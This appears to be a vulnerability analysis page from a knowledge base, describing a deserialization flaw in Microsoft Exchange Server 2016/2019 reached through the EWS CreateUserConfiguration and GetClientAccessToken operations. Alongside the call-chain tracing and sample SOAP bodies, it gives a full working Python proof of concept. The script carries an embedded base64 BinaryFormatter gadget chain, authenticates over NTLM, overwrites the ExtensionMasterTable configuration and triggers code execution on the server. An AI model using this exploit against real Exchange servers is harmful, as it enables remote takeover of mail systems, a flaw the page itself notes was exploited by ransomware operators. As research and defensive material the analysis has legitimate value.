// Microsoft.Exchange.Services.Wcf.EWSService using System; using Microsoft.Exchange.Services.Core.Types; [PublicEWSVersion] public IAsyncResult BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState) { return soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState); }
Alright so now we know where to debug but what is the URL we need? Well we can see this is within the EWSService
class, so lets see if we can’t find a bit of documentation about EWS to help guide us.
A bit of digging turns up https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/get-started-with-ews-client-applications which mentions that the normal URL is at /EWS/Exchange.asmx
. However the page also notes that using the AutoDiscover service which is at https://<domain>/autodiscover/autodiscover.svc
, https://<domain>/autodiscover/autodiscover.xml
, https://autodiscover.<domain>/autodiscover/autodiscover.xml
, or https://autodiscover.<domain>/autodiscover/autodiscover.svc
is meant to be the more appropriate way to do things, however in my experience I haven’t found these to contain any info r.e the proper URL to use. Maybe I’ll be corrected but for now we’ll go off the assumption that /EWS/Exchange.asmx
is the proper URL.
Entry Point Review
Wanted to hit Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)
and after tracing this back we found that ultimately this is called via Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)
which will use the Deserialize
method of Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
to do the actual deserialization on the userConfiguration.GetStream()
parameter passed in.
We then found that the expected format of the UserConfiguration
class that userConfiguration
is an instance of looks like the following snippet:
<CreateUserConfiguration> <UserConfiguration/> </CreateUserConfiguration>
Where UserConfiguration
looks like
<UserConfiguration> <UserConfigurationName/> <ItemId/> <Dictionary/> <XmlData/> <BinaryData/> </UserConfiguration>
This lead us to Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest
and later to Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration
which confirmed we were processing the right data.
We then confirmed that Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest
is where SOAP requests to create the user configuration are handled and that Microsoft.Exchange.Services.Wcf.EWSService.BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)
uses this to call soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState);
which will asynchronously create the user configuration and then return a CreateUserConfigurationResponse
instance containing the response to send back.
Finally we determined https://<domain>/EWS/Exchange.asmx
is where we need to send our POST request to hopefully create the UserConfiguration
object.
All of this results in the following chain for the deserialization attack at the moment.
Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception) Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder) TypedBinaryFormatter.Desearialize(Stream) System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() BinaryFormatter.Deserialize()
Creating a ServiceUserConfiguration Object With BinaryData Stream
Now that we have the URL to send the payload to we just need to figure out which field of the ServiceUserConfiguration
object to set and how this should be done. Looking back at Microsoft.Exchange.Services.Core.CreateUserConfiguration
code we can see the Execute()
method calls the CreateInstance()
method before setting the returned UserConfiguration
object’s properties using SetProperties()
.
// Microsoft.Exchange.Services.Core.CreateUserConfiguration using Microsoft.Exchange.Data.Storage; using Microsoft.Exchange.Diagnostics.Components.Services; using Microsoft.Exchange.Services; using Microsoft.Exchange.Services.Core; using Microsoft.Exchange.Services.Core.Types; internal sealed class CreateUserConfiguration : UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone> { private ServiceUserConfiguration serviceUserConfiguration; public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) : base(callContext, request) { serviceUserConfiguration = request.UserConfiguration; ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, "serviceUserConfiguration", "CreateUserConfiguration::ctor"); } internal override IExchangeWebMethodResponse GetResponse() { return new CreateUserConfigurationResponse { ResponseMessages = { new SingleResponseMessage(base.Result.Code, base.Result.Exception) } }; } private static UserConfiguration CreateInstance(UserConfigurationName userConfigurationName) { try { return userConfigurationName.MailboxSession.UserConfigurationManager.CreateFolderConfiguration(userConfigurationName.Name, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, userConfigurationName.FolderId); } catch (ObjectExistedException ex) { ExTraceGlobals.ExceptionTracer.TraceError(0L, "ObjectExistedException during UserConfiguration creation: {0} Name {1} FolderId: {2}", ex, userConfigurationName.Name, userConfigurationName.FolderId); throw new ErrorItemSaveException(CoreResources.IDs.ErrorItemSaveUserConfigurationExists, ex); } } internal override ServiceResult<ServiceResultNone> Execute() { UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.ValidatePropertiesForUpdate(serviceUserConfiguration); using (UserConfiguration userConfiguration = CreateInstance(GetUserConfigurationName(serviceUserConfiguration.UserConfigurationName))) { UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.SetProperties(serviceUserConfiguration, userConfiguration); userConfiguration.Save(); } return new ServiceResult<ServiceResultNone>(new ServiceResultNone()); } }
Lets take a deeper look into the SetProperties()
code:
// Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType> using Microsoft.Exchange.Data.Storage; using Microsoft.Exchange.Services.Core.Types; protected static void SetProperties(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration) { SetDictionary(serviceUserConfiguration, userConfiguration); SetXmlStream(serviceUserConfiguration, userConfiguration); SetStream(serviceUserConfiguration, userConfiguration); }
Ah, interesting, so SetProperties()
sets both an XML stream with SetXmlStream()
and sets another stream, likely binary, with SetStream()
. Lets confirm this is using the BinaryData
field mentioned earlier by looking at the code for SetStream()
:
// Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType> using System.IO; using Microsoft.Exchange.Data.Storage; using Microsoft.Exchange.Services.Core.Types; private static void SetStream(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration) { if (serviceUserConfiguration.BinaryData == null) { return; } using Stream stream = GetStream(userConfiguration); SetStreamPropertyFromBase64String(serviceUserConfiguration.BinaryData, stream, CoreResources.IDs.ErrorInvalidValueForPropertyBinaryData); }
Looks like it is indeed using serviceUserConfiguration.BinaryData
, confirming that this is the field we need to set in order to set the stream. Note that the BinaryData
blob must be a Base64 encoded string due to the SetStreamPropertyFromBase64String()
call here.
So therefore our chain to create a ServiceUserConfiguration
object with a BinaryData
stream looks like this:
CreateUserConfiguration.Execute() UserConfigurationCommandBase.SetProperties() UserConfigurationCommandBase.SetStream()
Chaining Everything Together
So looks like first we need to make the UserConfiguration
and apply that. We can do that via a web server SOAP request to /EWS/Exchange.asmx
that looks like the following which will create a UserConfiguration
object with a Dictionary
XML element which as noted at https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/dictionary, defines a set of dictionary property entries for a user configuration object. These dictionary properties are controlled by a DictionaryEntry
XML element which comprises a DictionaryKey
, which has a Type
field (aka type of the key) and a Value
field (aka name of the key), and a DictionaryValue
object which has the same fields used to control the value of the key.
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:CreateUserConfiguration> <m:UserConfiguration> <t:UserConfigurationName Name="TestConfig"> <t:Folder Id="id" ChangeKey="id"> </t:Folder> </t:UserConfigurationName> <t:BinaryData> DESERIALIZE_PAYLOAD_GOES_HERE_AS_BASE64_ENCODED_STRING </t:BinaryData> <t:Dictionary> <t:DictionaryEntry> <t:DictionaryKey> <t:Type>String</t:Type> <t:Value>PhoneNumber</t:Value> </t:DictionaryKey> <t:DictionaryValue> <t:Type>String</t:Type> <t:Value>555-555-1111</t:Value> </t:DictionaryValue> </t:DictionaryEntry> </t:Dictionary> </m:UserConfiguration> </m:CreateUserConfiguration> </soap:Body> </soap:Envelope>
Tracing the Deserialization Back to An Accessible Source
After a lot of tracing through interfaces we finally end up getting the following full deserialization chain from an accessible source. As you can see its quite long at 24 calls (including interfaces, so probably around 18 or so actual calls, but still its a lot!!!)
Microsoft.Exchange.Services.Core.GetClientAccessToken.PreExecuteCommand() Microsoft.Exchange.Services.Core.GetClientAccessToken.PrepareForExtensionRelatedTokens() Microsoft.Exchange.Services.Core.GetClientAccessToken.GetUserExtensionDataList(HashSet<string>) Microsoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensionDataListWithoutUpdatingCache(ICallContext, HashSet<string>) Microsoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensions(ICallContext, bool, bool, bool, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, bool, Version, bool) Microsoft.Exchange.Services.Wcf.GetExtensibilityContext.GetExtensions(ICallContext, bool, bool, bool, OrgEmptyMasterTableCache, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, int?, bool, out string, bool, bool, Version, bool) Microsoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetExtensions(HashSet<OfficeMarketplaceExtension>, bool, bool, bool, out string, CultureInfo, bool, bool, MultiValuedProperty<Capability>, bool) Microsoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool) Microsoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetOrgProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool) Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionTable.GetOrgExtensions(IOrgExtensionDataGetter, OrgExtensionRetrievalContext, bool, bool) Microsoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData> Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData> Microsoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext) Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext) : OrgExtensionRetrievalResult Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult) Microsoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception) Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception) Microsoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder) TypedBinaryFormatter.Deserialize(Stream) System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() BinaryFormatter.Deserialize()
We need to find a way to hit this function from an accessible location. I made a mistake here in thinking that cause we were retrieving info from the cache it wouldn’t be an exploitable path. Don’t assume based purely off of names the whole path chain, take a look at everything first.
Anyway we can then find that by Googling GetClientAccessToken
that we can make a SOAP request for this given documentation at https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getclientaccesstoken-operation and that The GetClientAccessToken operation gets a client access token for a mail app for Outlook.
mean that its real purpose is simply to get a client token for a given mail app in Outlook. Interesting that such a benign operation triggers this chain bug it does make sense. After all some of this is getting the list of extensions for a given org, likely to find the respective app, which then leads us to the Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult)
call that ultimately leads to more calls and the then the TypedBinaryFormatter.Deserialize(Stream)
call where the bug is at.
For reference the data we need to send here will look something like this:
<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types" xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:GetClientAccessToken> <m:TokenRequests> <t:TokenRequest> <t:Id>1C50226D-04B5-4AB2-9FCD-42E236B59E4B</t:Id> <t:TokenType>CallerIdentity</t:TokenType> </t:TokenRequest> </m:TokenRequests> </m:GetClientAccessToken> </soap:Body> </soap:Envelope>
Shell
Following PoC will spawn calc.exe
on the target:
#!/usr/bin/python3 import socket, time import http.client, requests import urllib.request, urllib.parse, urllib.error import os, ssl from requests_ntlm2 import HttpNtlmAuth from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) import base64 USER = 'TESTINGDOMAIN\\administrator' PASS = 'thePassword123!' target = "https://172.26.247.94" #rcegadget #pop calc or mspaint on the target gadgetData = 'AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAALAXQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFbFRlWE4wWlcwc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVCUUVBQUFDRUFWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxsTnZjblJsWkZObGRHQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJqMDBMakF1TUM0d0xDQkRkV3gwZFhKbFBXNWxkWFJ5WVd3c0lGQjFZbXhwWTB0bGVWUnZhMlZ1UFdJM04yRTFZelUyTVRrek5HVXdPRGxkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwSUFnQUFBQUlBQUFBSkF3QUFBQUlBQUFBSkJBQUFBQVFEQUFBQWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwQkFBQUFDMTlqYjIxd1lYSnBjMjl1QXlKVGVYTjBaVzB1UkdWc1pXZGhkR1ZUWlhKcFlXeHBlbUYwYVc5dVNHOXNaR1Z5Q1FVQUFBQVJCQUFBQUFJQUFBQUdCZ0FBQUFvdll5QmpiV1F1WlhobEJnY0FBQUFEWTIxa0JBVUFBQUFpVTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ01BQUFBSVJHVnNaV2RoZEdVSGJXVjBhRzlrTUFkdFpYUm9iMlF4QXdNRE1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUzlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2k5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNna0lBQUFBQ1FrQUFBQUpDZ0FBQUFRSUFBQUFNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVFjQUFBQUVkSGx3WlFoaGMzTmxiV0pzZVFaMFlYSm5aWFFTZEdGeVoyVjBWSGx3WlVGemMyVnRZbXg1RG5SaGNtZGxkRlI1Y0dWT1lXMWxDbTFsZEdodlpFNWhiV1VOWkdWc1pXZGhkR1ZGYm5SeWVRRUJBZ0VCQVFNd1UzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2l0RVpXeGxaMkYwWlVWdWRISjVCZ3NBQUFDd0FsTjVjM1JsYlM1R2RXNWpZRE5iVzFONWMzUmxiUzVUZEhKcGJtY3NJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1Ywc1cxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpMQ0JUZVhOMFpXMHNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwR0RBQUFBRXR0YzJOdmNteHBZaXdnVm1WeWMybHZiajAwTGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBXSTNOMkUxWXpVMk1Ua3pOR1V3T0RrS0JnMEFBQUJKVTNsemRHVnRMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1FZT0FBQUFHbE41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpCZzhBQUFBRlUzUmhjblFKRUFBQUFBUUpBQUFBTDFONWMzUmxiUzVTWldac1pXTjBhVzl1TGsxbGJXSmxja2x1Wm05VFpYSnBZV3hwZW1GMGFXOXVTRzlzWkdWeUJ3QUFBQVJPWVcxbERFRnpjMlZ0WW14NVRtRnRaUWxEYkdGemMwNWhiV1VKVTJsbmJtRjBkWEpsQ2xOcFoyNWhkSFZ5WlRJS1RXVnRZbVZ5Vkhsd1pSQkhaVzVsY21salFYSm5kVzFsYm5SekFRRUJBUUVBQXdnTlUzbHpkR1Z0TGxSNWNHVmJYUWtQQUFBQUNRMEFBQUFKRGdBQUFBWVVBQUFBUGxONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56SUZOMFlYSjBLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhVQUFBQStVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpMbEJ5YjJObGMzTWdVM1JoY25Rb1UzbHpkR1Z0TGxOMGNtbHVaeXdnVTNsemRHVnRMbE4wY21sdVp5a0lBQUFBQ2dFS0FBQUFDUUFBQUFZV0FBQUFCME52YlhCaGNtVUpEQUFBQUFZWUFBQUFEVk41YzNSbGJTNVRkSEpwYm1jR0dRQUFBQ3RKYm5Rek1pQkRiMjF3WVhKbEtGTjVjM1JsYlM1VGRISnBibWNzSUZONWMzUmxiUzVUZEhKcGJtY3BCaG9BQUFBeVUzbHpkR1Z0TGtsdWRETXlJRU52YlhCaGNtVW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRVFBQUFBQ0FBQUFBWWJBQUFBY1ZONWMzUmxiUzVEYjIxd1lYSnBjMjl1WURGYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMWRDUXdBQUFBS0NRd0FBQUFKR0FBQUFBa1dBQUFBQ2dzPQs=' def sendPayload(gadgetChain): get_inbox = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>AllProperties</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="inbox" /> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope> ''' headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"} res = requests.post(target + "/ews/exchange.asmx", data=get_inbox, headers=headers, verify=False, auth=HttpNtlmAuth('%s' % (USER), PASS)) print(res.text + "\r\n") print(res.encoding + "\r\n") folderId = res.text.split('<t:FolderId Id="')[1].split('"')[0] changeKey = res.text.split('<t:FolderId Id="' + folderId + '" ChangeKey="')[1].split('"')[0] print(folderId + "\r\n") print(changeKey + "\r\n") delete_old = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:DeleteUserConfiguration> <m:UserConfigurationName Name="ExtensionMasterTable"> <t:FolderId Id="%s" ChangeKey="%s" /> </m:UserConfigurationName> </m:DeleteUserConfiguration> </soap:Body> </soap:Envelope>''' % (folderId, changeKey) res = requests.post(target + "/ews/exchange.asmx", data=delete_old, headers=headers, verify=False, auth=HttpNtlmAuth('%s' % (USER), PASS)) print(res.text) print("\r\n") create_usr_cfg = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:CreateUserConfiguration> <m:UserConfiguration> <t:UserConfigurationName Name="ExtensionMasterTable"> <t:FolderId Id="%s" ChangeKey="%s" /> </t:UserConfigurationName> <t:Dictionary> <t:DictionaryEntry> <t:DictionaryKey> <t:Type>String</t:Type> <t:Value>OrgChkTm</t:Value> </t:DictionaryKey> <t:DictionaryValue> <t:Type>Integer64</t:Type> <t:Value>637728170914745525</t:Value> </t:DictionaryValue> </t:DictionaryEntry> <t:DictionaryEntry> <t:DictionaryKey> <t:Type>String</t:Type> <t:Value>OrgDO</t:Value> </t:DictionaryKey> <t:DictionaryValue> <t:Type>Boolean</t:Type> <t:Value>false</t:Value> </t:DictionaryValue> </t:DictionaryEntry> <t:DictionaryEntry> <t:DictionaryKey> <t:Type>String</t:Type> <t:Value>OrgExtV</t:Value> </t:DictionaryKey> <t:DictionaryValue> <t:Type>Integer32</t:Type> <t:Value>2147483647</t:Value> </t:DictionaryValue> </t:DictionaryEntry> </t:Dictionary> <t:BinaryData>%s</t:BinaryData> </m:UserConfiguration> </m:CreateUserConfiguration> </soap:Body> </soap:Envelope>''' % (folderId, changeKey, gadgetChain) res = requests.post(target + "/ews/exchange.asmx", data=create_usr_cfg, headers=headers, verify=False, auth=HttpNtlmAuth('%s' % (USER), PASS)) print(res.text) print("\r\n") print("Got the request sent, now to trigger deserialization!\r\n\r\n") get_client_ext = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:GetClientAccessToken> <m:TokenRequests> <t:TokenRequest> <t:Id>aaaa</t:Id> <t:TokenType>CallerIdentity</t:TokenType> </t:TokenRequest> </m:TokenRequests> </m:GetClientAccessToken> </soap:Body> </soap:Envelope> ''' res = requests.post(target + "/ews/exchange.asmx", data=get_client_ext, headers=headers, verify=False, auth=HttpNtlmAuth('%s' % (USER), PASS)) print(res.text) print("\r\n") print("Triggered deserialization!\r\n\r\n") sendPayload(gadgetData)
Notes
Process will spawn under the w3wp.exe
process running MSExchangeServicesAppPool
.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- exchange server 2016,
- exchange server 2019
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Threat Feed (https://cybersecurityworks.com/blog/ransomware/all-about-hive-ransomware.html)
- News Article or Blog (https://www.cisa.gov/uscert/sites/default/files/publications/aa22-321a_joint_csa_stopransomware_hive.pdf)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Miscellaneous
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: